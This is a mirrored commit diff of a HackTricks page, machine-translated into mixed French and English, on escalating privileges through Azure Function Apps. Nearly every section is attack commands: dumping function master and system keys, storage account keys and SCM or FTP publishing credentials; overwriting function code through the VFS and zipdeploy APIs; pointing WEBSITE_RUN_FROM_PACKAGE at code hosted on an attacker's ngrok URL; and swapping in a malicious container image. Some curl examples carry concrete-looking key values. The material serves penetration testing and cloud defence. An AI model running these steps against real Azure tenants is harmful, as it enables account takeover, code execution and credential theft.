gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

Browse Source
This commit is contained in:
Translator
2025-11-30 12:26:42 +00:00
parent 532008a88a
commit b674a62a39
1 changed files with 100 additions and 60 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
+100 -60
View File
@@ -4,7 +4,7 @@
## Function Apps
Consultez la page suivante pour plus d'informations :
Check the following page for more information:
{{#ref}}
../az-services/az-function-apps.md
@@ -12,26 +12,26 @@ Consultez la page suivante pour plus d'informations :
### Bucket Read/Write
Avec des permissions pour lire les conteneurs à l'intérieur du compte de stockage qui stocke les données de la fonction, il est possible de trouver **différents conteneurs** (personnalisés ou avec des noms prédéfinis) qui pourraient contenir **le code exécuté par la fonction**.
Avec des permissions de lecture sur les containers à l'intérieur du Storage Account qui stocke les données de la function, il est possible de trouver **différents containers** (personnalisés ou avec des noms prédéfinis) qui peuvent contenir **le code exécuté par la function**.
Une fois que vous avez trouvé où le code de la fonction est situé, si vous avez des permissions d'écriture dessus, vous pouvez faire exécuter à la fonction n'importe quel code et élever les privilèges aux identités gérées attachées à la fonction.
Une fois que vous trouvez où le code de la function est situé, si vous avez des permissions d'écriture dessus, vous pouvez faire exécuter n'importe quel code par la function et escalader les privilèges vers les managed identities attachées à la function.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` et `WEBSITE_CONTENTSHARE`)
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
Le code de la fonction est généralement stocké à l'intérieur d'un partage de fichiers. Avec suffisamment d'accès, il est possible de modifier le fichier de code et **de faire charger à la fonction un code arbitraire**, permettant d'élever les privilèges aux identités gérées attachées à la fonction.
Le code de la function est généralement stocké dans un file share. Avec un accès suffisant, il est possible de modifier le fichier de code et **forcer la function à charger du code arbitraire**, permettant d'escalader les privilèges vers les managed identities attachées à la Function.
Cette méthode de déploiement configure généralement les paramètres **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** et **`WEBSITE_CONTENTSHARE`** que vous pouvez obtenir à partir de
Cette méthode de déploiement configure habituellement les paramètres **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** et **`WEBSITE_CONTENTSHARE`** que vous pouvez obtenir depuis
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Ces configurations contiendront la **clé du compte de stockage** que la fonction peut utiliser pour accéder au code.
Ces configs contiendront la **Storage Account Key** que la Function peut utiliser pour accéder au code.
> [!CAUTION]
> Avec suffisamment de permissions pour se connecter au partage de fichiers et **modifier le script** en cours d'exécution, il est possible d'exécuter du code arbitraire dans la fonction et d'escalader les privilèges.
> Avec suffisamment de permissions pour se connecter au File Share et **modify the script** qui tourne, il est possible d'exécuter du code arbitraire dans la Function et d'escalate privileges.
L'exemple suivant utilise macOS pour se connecter au partage de fichiers, mais il est recommandé de consulter également la page suivante pour plus d'informations sur les partages de fichiers :
The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares:
{{#ref}}
../az-services/az-file-shares.md
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
Il est également courant de trouver les **zip releases** à l'intérieur du dossier `function-releases` du conteneur du compte de stockage que l'application de fonction utilise dans un conteneur **généralement appelé `function-releases`**.
Il est aussi courant de trouver les **archives zip** dans le dossier `function-releases` du conteneur Storage Account que la function app utilise, dans un conteneur **généralement appelé `function-releases`**.
En général, cette méthode de déploiement définira la configuration `WEBSITE_RUN_FROM_PACKAGE` dans :
Généralement, cette méthode de déploiement définira la configuration `WEBSITE_RUN_FROM_PACKAGE` dans :
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Cette configuration contiendra généralement une **SAS URL pour télécharger** le code depuis le compte de stockage.
Cette configuration contient généralement une **SAS URL pour télécharger** le code depuis le Storage Account.
> [!CAUTION]
> Avec suffisamment de permissions pour se connecter au conteneur blob qui **contient le code en zip**, il est possible d'exécuter du code arbitraire dans la fonction et d'escalader les privilèges.
> Avec des permissions suffisantes pour se connecter au blob container qui **contient le code en zip**, il est possible d'exécuter du code arbitraire dans la Function et d'escalader les privilèges.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
Tout comme dans le cas précédent, si le déploiement est effectué via Github Actions, il est possible de trouver le dossier **`github-actions-deploy`** dans le compte de stockage contenant un zip du code et une SAS URL vers le zip dans le paramètre `WEBSITE_RUN_FROM_PACKAGE`.
Comme dans le cas précédent, si le déploiement est effectué via Github Actions, il est possible de trouver le dossier **`github-actions-deploy`** dans le Storage Account contenant un zip du code et une SAS URL vers le zip dans le paramètre `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` et `WEBSITE_CONTENTSHARE`)
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
Avec des permissions pour lire les conteneurs à l'intérieur du compte de stockage qui stocke les données de la fonction, il est possible de trouver le conteneur **`scm-releases`**. À l'intérieur, il est possible de trouver la dernière version au format **Squashfs filesystem file format** et donc il est possible de lire le code de la fonction :
Avec des permissions pour lire les containers à l'intérieur du Storage Account qui stocke les données de la Function, il est possible de trouver le container **`scm-releases`**. Là, il est possible de trouver la dernière release en **Squashfs filesystem file format** et donc de lire le code de la Function :
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
Il est également possible de trouver les **master and functions keys** stockées dans le compte de stockage dans le conteneur **`azure-webjobs-secrets`** à l'intérieur du dossier **`<app-name>`** dans les fichiers JSON que vous pouvez y trouver.
Il est également possible de trouver les **master and functions keys** stockées dans le storage account, dans le container **`azure-webjobs-secrets`**, à l'intérieur du dossier **`<app-name>`**, dans les fichiers JSON qui s'y trouvent.
> [!CAUTION]
> Avec suffisamment de permissions pour se connecter au conteneur blob qui **contient le code dans un fichier d'extension zip** (qui est en réalité un **`squashfs`**), il est possible d'exécuter du code arbitraire dans la Fonction et d'escalader les privilèges.
> Avec des autorisations suffisantes pour se connecter au blob container qui **contains the code in a zip extension file** (qui en réalité est un **`squashfs`**), il est possible d'exécuter du code arbitraire dans la Function et d'escalader les privilèges.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -118,11 +118,11 @@ az storage blob upload \
```
### `Microsoft.Web/sites/host/listkeys/action`
Cette autorisation permet de lister les clés de fonction, maître et système, mais pas la clé d'hôte, de la fonction spécifiée avec :
Cette permission permet de lister les clés function, master et system, mais pas la clé host, de la fonction spécifiée avec:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Avec la clé maître, il est également possible d'obtenir le code source dans une URL comme :
Avec la master key, il est aussi possible d'obtenir le code source via une URL comme :
```bash
# Get "script_href" from
az rest --method GET \
@@ -130,70 +130,91 @@ az rest --method GET \
# Access
curl "<script-href>?code=<master-key>"
## Python example:
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```
Et pour **changer le code qui est exécuté** dans la fonction avec :
Et pour **modifier le code qui est exécuté** dans la fonction avec :
```bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
```
### `Microsoft.Web/sites/functions/listKeys/action`
Cette permission permet d'obtenir la clé d'hôte de la fonction spécifiée avec :
Cette permission permet d'obtenir la clé par défaut de la fonction spécifiée avec :
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
Appeler la fonction en utilisant la clé par défaut obtenue :
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write`
Cette autorisation permet de créer/met à jour une clé de fonction de la fonction spécifiée avec :
Cette permission permet de créer/mettre à jour une clé de fonction de la fonction spécifiée avec :
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/host/masterKey/write`
Cette permission permet de créer/met à jour une clé maître pour la fonction spécifiée avec :
Cette permission permet de créer/mettre à jour une master key pour la fonction spécifiée avec :
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> N'oubliez pas qu'avec cette clé, vous pouvez également accéder au code source et le modifier comme expliqué précédemment !
> N'oubliez pas qu'avec cette key vous pouvez également accéder au source code et le modifier comme expliqué précédemment !
### `Microsoft.Web/sites/host/systemKeys/write`
Cette autorisation permet de créer/met à jour une clé de fonction système pour la fonction spécifiée avec :
Cette permission permet de créer/mettre à jour un system function key pour la function spécifiée avec :
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
Utilisez la clé :
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
```
### `Microsoft.Web/sites/config/list/action`
Cette permission permet d'obtenir les paramètres d'une fonction. Dans ces configurations, il pourrait être possible de trouver les valeurs par défaut **`AzureWebJobsStorage`** ou **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** qui contiennent une **clé de compte pour accéder au stockage blob de la fonction avec des permissions COMPLETES**.
Cette permission permet d'obtenir les paramètres d'une fonction. Dans ces configurations, il peut être possible de trouver les valeurs par défaut **`AzureWebJobsStorage`** ou **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** qui contiennent une **clé de compte permettant d'accéder au blob storage de la fonction avec des autorisations COMPLETES**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
De plus, cette autorisation permet également d'obtenir le **nom d'utilisateur et le mot de passe SCM** (si activé) avec :
De plus, cette permission permet également d'obtenir le **SCM username and password** (si activés) avec :
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Ces permissions permettent de lister les valeurs de configuration d'une fonction comme nous l'avons vu précédemment, en plus de **modifier ces valeurs**. Cela est utile car ces paramètres indiquent où se trouve le code à exécuter à l'intérieur de la fonction.
Ces permissions permettent de lister les valeurs de configuration d'une fonction comme nous l'avons vu précédemment, et aussi de **modifier ces valeurs**. C'est utile car ces paramètres indiquent où se trouve le code à exécuter à l'intérieur de la fonction.
Il est donc possible de définir la valeur du paramètre **`WEBSITE_RUN_FROM_PACKAGE`** pointant vers un fichier zip d'URL contenant le nouveau code à exécuter à l'intérieur d'une application web :
Il est donc possible de définir la valeur du paramètre **`WEBSITE_RUN_FROM_PACKAGE`** pointant vers un fichier zip accessible via une URL contenant le nouveau code à exécuter dans une application web :
- Commencez par obtenir la configuration actuelle
- Commencez par récupérer la configuration actuelle
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Créez le code que vous souhaitez que la fonction exécute et hébergez-le publiquement.
- Créez le code que vous voulez que la fonction exécute et hébergez-le publiquement
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
@@ -203,9 +224,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- Modifiez la fonction, conservez les paramètres précédents et ajoutez à la fin la configuration **`WEBSITE_RUN_FROM_PACKAGE`** pointant vers l'URL contenant le **zip** avec le code.
- Modifiez la fonction, conservez les paramètres précédents et ajoutez à la fin la config **`WEBSITE_RUN_FROM_PACKAGE`** pointant vers l'URL contenant le **zip** avec le code.
L'exemple suivant montre mes **propres paramètres que vous devrez modifier pour les vôtres**, notez à la fin les valeurs `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, c'est là où j'hébergeais l'application.
L'exemple suivant montre mes **propres paramètres — vous devrez remplacer les valeurs par les vôtres**, notez qu'à la fin la valeur `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` indique où j'hébergeais l'application.
```bash
# Modify the function
az rest --method PUT \
@@ -215,7 +236,7 @@ az rest --method PUT \
```
### `Microsoft.Web/sites/hostruntime/vfs/write`
Avec cette autorisation, il est **possible de modifier le code d'une application** via la console web (ou via le point de terminaison API suivant) :
Avec cette permission, il est **possible de modifier le code d'une application** via la console web (ou via le point de terminaison API suivant) :
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -223,10 +244,29 @@ az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Cette autorisation permet de lister tous les profils de publication qui contiennent essentiellement **des informations d'identification d'authentification de base** :
Cette permission permet de lister tous les profils de publication qui contiennent essentiellement des **basic auth credentials** :
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
@@ -234,7 +274,7 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \
--output json
```
Une autre option serait de définir vos propres identifiants et de les utiliser avec :
Une autre option serait de définir vos propres creds et de les utiliser :
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
@@ -242,7 +282,7 @@ az functionapp deployment user set \
```
- Si les identifiants **REDACTED**
Si vous voyez que ces identifiants sont **REDACTED**, c'est parce que vous **devez activer l'option d'authentification de base SCM** et pour cela, vous avez besoin de la deuxième autorisation (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
Si vous voyez que ces identifiants sont **REDACTED**, c'est parce que vous **devez activer l'option SCM basic authentication** et pour cela vous avez besoin de la seconde permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -264,7 +304,7 @@ az rest --method PUT \
```
- **Méthode SCM**
Ensuite, vous pouvez accéder avec ces **identifiants d'authentification de base à l'URL SCM** de votre application de fonction et obtenir les valeurs des variables d'environnement :
Ensuite, vous pouvez accéder à l'URL SCM de votre function app avec ces **basic auth credentials** et obtenir les valeurs des env variables :
```bash
# Get settings values
curl -u '<username>:<password>' \
@@ -275,11 +315,11 @@ zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Remarque que le **nom d'utilisateur SCM** est généralement le caractère "$" suivi du nom de l'application, donc : `$<app-name>`._
_Notez que le **nom d'utilisateur SCM** est généralement le caractère "$" suivi du nom de l'application, donc : `$<app-name>`._
Vous pouvez également accéder à la page web depuis `https://<app-name>.scm.azurewebsites.net/BasicAuth`
Vous pouvez aussi accéder à la page web depuis `https://<app-name>.scm.azurewebsites.net/BasicAuth`
Les valeurs des paramètres contiennent la **AccountKey** du compte de stockage stockant les données de l'application de fonction, permettant de contrôler ce compte de stockage.
Les valeurs des settings contiennent la **AccountKey** du storage account qui stocke les données de la function app, ce qui permet de contrôler ce storage account.
- **Méthode FTP**
@@ -297,19 +337,19 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Remarque que le **nom d'utilisateur FTP** est généralement au format \<app-name>\\$\<app-name>._
_Notez que le **FTP username** est généralement au format \<app-name>\\$\<app-name>._
### `Microsoft.Web/sites/hostruntime/vfs/read`
Cette autorisation permet de **lire le code source** de l'application via le VFS :
Cette permission permet de **lire le code source** de l'app via le VFS :
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### `Microsoft.Web/sites/functions/token/action`
Avec cette autorisation, il est possible de [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) qui peut ensuite être utilisé pour récupérer la **master key** et donc accéder et modifier le code de la fonction.
Avec cette permission il est possible de [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) qui peut ensuite être utilisé pour récupérer la **master key** et donc accéder et modifier the function's code.
Cependant, lors de mes dernières vérifications, aucun token n'a été retourné, il se peut donc qu'il soit désactivé ou ne fonctionne plus, mais voici comment vous pourriez le faire :
Cependant, lors de mes derniers contrôles aucun token n'a été retourné, donc il se peut qu'il soit désactivé ou ne fonctionne plus, mais voici comment procéder :
```bash
# Get admin token
az rest --method GET \
@@ -321,7 +361,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Cette permission permet de **activer des fonctions** qui pourraient être désactivées (ou de les désactiver).
Ces permissions permettent d'**activer des fonctions** qui pourraient être désactivées (ou de les désactiver).
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -329,13 +369,13 @@ az functionapp config appsettings set \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
Il est également possible de voir si une fonction est activée ou désactivée à l'URL suivante (en utilisant la permission entre parenthèses) :
Il est également possible de vérifier si une fonction est activée ou désactivée à l'URL suivante (en utilisant l'autorisation entre parenthèses) :
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Avec ces autorisations, il est possible de **modifier le conteneur exécuté par une application de fonction** configurée pour exécuter un conteneur. Cela permettrait à un attaquant de télécharger une application de conteneur de fonction azure malveillante sur docker hub (par exemple) et de faire exécuter la fonction.
Avec ces permissions il est possible de **modifier le conteneur exécuté par une function app** configurée pour exécuter un container. Cela permettrait à un attaquant de téléverser une azure function container app malveillante sur docker hub (par exemple) et de faire en sorte que la function app l'exécute.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -343,29 +383,29 @@ az functionapp config container set --name <app-name> \
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Avec ces autorisations, il est possible de **lier une nouvelle identité gérée par l'utilisateur à une fonction**. Si la fonction était compromise, cela permettrait d'escalader les privilèges à n'importe quelle identité gérée par l'utilisateur.
Avec ces permissions, il est possible d'**attacher une nouvelle user managed identity à une function**. Si la function était compromise, cela permettrait d'escalader les privilèges sur n'importe quelle user managed identity.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Débogage à distance
### Remote Debugging
Il est également possible de se connecter pour déboguer une fonction Azure en cours d'exécution comme [**expliqué dans la documentation**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Cependant, par défaut, Azure désactivera cette option après 2 jours au cas où le développeur oublierait d'éviter de laisser des configurations vulnérables.
Il est aussi possible de se connecter pour déboguer une Azure function en cours d'exécution comme [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Cependant, par défaut Azure désactivera cette option au bout de 2 jours si le développeur l'oublie, afin d'éviter de laisser des configurations vulnérables.
Il est possible de vérifier si une fonction a le débogage activé avec :
Il est possible de vérifier si une Function a le débogage activé avec:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Avoir la permission `Microsoft.Web/sites/config/write` permet également de mettre une fonction en mode débogage (la commande suivante nécessite également les permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` et `Microsoft.Web/sites/Read`).
En disposant de la permission `Microsoft.Web/sites/config/write`, il est également possible de mettre une fonction en mode débogage (la commande suivante nécessite aussi les permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` et `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Changer le dépôt Github
### Changer le repo Github
J'ai essayé de changer le dépôt Github d'où le déploiement a lieu en exécutant les commandes suivantes, mais même si cela a changé, **le nouveau code n'a pas été chargé** (probablement parce qu'il s'attend à ce que l'Action Github mette à jour le code).\
De plus, la **créance fédérée de l'identité gérée n'a pas été mise à jour** permettant le nouveau dépôt, donc il semble que cela ne soit pas très utile.
J'ai essayé de changer le repo Github d'où le déploiement a lieu en exécutant les commandes suivantes, mais même si cela a changé, **le nouveau code n'a pas été chargé** (probablement parce qu'il attend que la Github Action mette à jour le code).\
De plus, la **managed identity federated credential wasn't updated** pour autoriser le nouveau repository, donc cela ne semble pas très utile.
```bash
# Remove current
az functionapp deployment source delete \